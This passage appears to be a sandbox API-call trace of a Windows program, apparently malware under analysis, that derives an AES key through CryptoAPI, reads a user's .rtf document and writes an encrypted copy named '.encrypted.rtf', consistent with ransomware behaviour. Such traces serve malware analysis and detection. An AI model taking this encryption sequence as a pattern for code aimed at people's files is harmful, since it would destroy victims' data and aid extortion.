| out: lpMsg=0xe8f3dfee40) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.662] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.662] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.662] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.662] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.662] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.663] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.663] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.663] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.663] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.663] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.663] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.663] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.664] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.664] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.664] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.664] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.664] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.664] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.664] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.664] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.664] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.664] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b060, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.664] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.665] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.665] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.665] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.665] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.665] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.665] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.665] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.665] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.666] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.666] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.667] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\fpffavx.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.667] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.667] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.667] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai")) returned 0x10 [0024.668] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\fpffavx.encrypted.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.668] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.668] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.668] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.668] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.669] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.669] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xfe43, lpOverlapped=0x0) returned 1 [0024.671] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.673] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.673] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.673] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.673] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.674] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.674] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.674] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.675] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.675] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.675] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.675] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.675] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.675] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064cc0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cc0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.675] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.675] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.676] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.676] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.676] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.676] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.677] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.677] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xfe43, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xfe50) returned 1 [0024.677] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.677] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.677] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.677] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 